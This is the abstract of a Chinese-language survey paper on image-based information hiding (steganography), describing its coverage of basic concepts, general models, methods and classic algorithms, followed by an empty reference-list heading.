基于圖像的信息隱藏技術具有載體數字圖像的一些自身特點，同時具備信息隱藏技術的共性，以圖像為載體的信息隱藏技術是信息隱藏研究的一個重要分支。本文主要介紹以數字圖像為載體的信息隱藏技術，主要以信息隱藏算法的一般流程為依據，闡述了信息隱藏的基本概念，歸納了信息隱藏的一般模型、基本方法，并分析、總結了該領域的常見經典算法，為下一步的深入研究奠定了堅實的基礎。

參考文獻：

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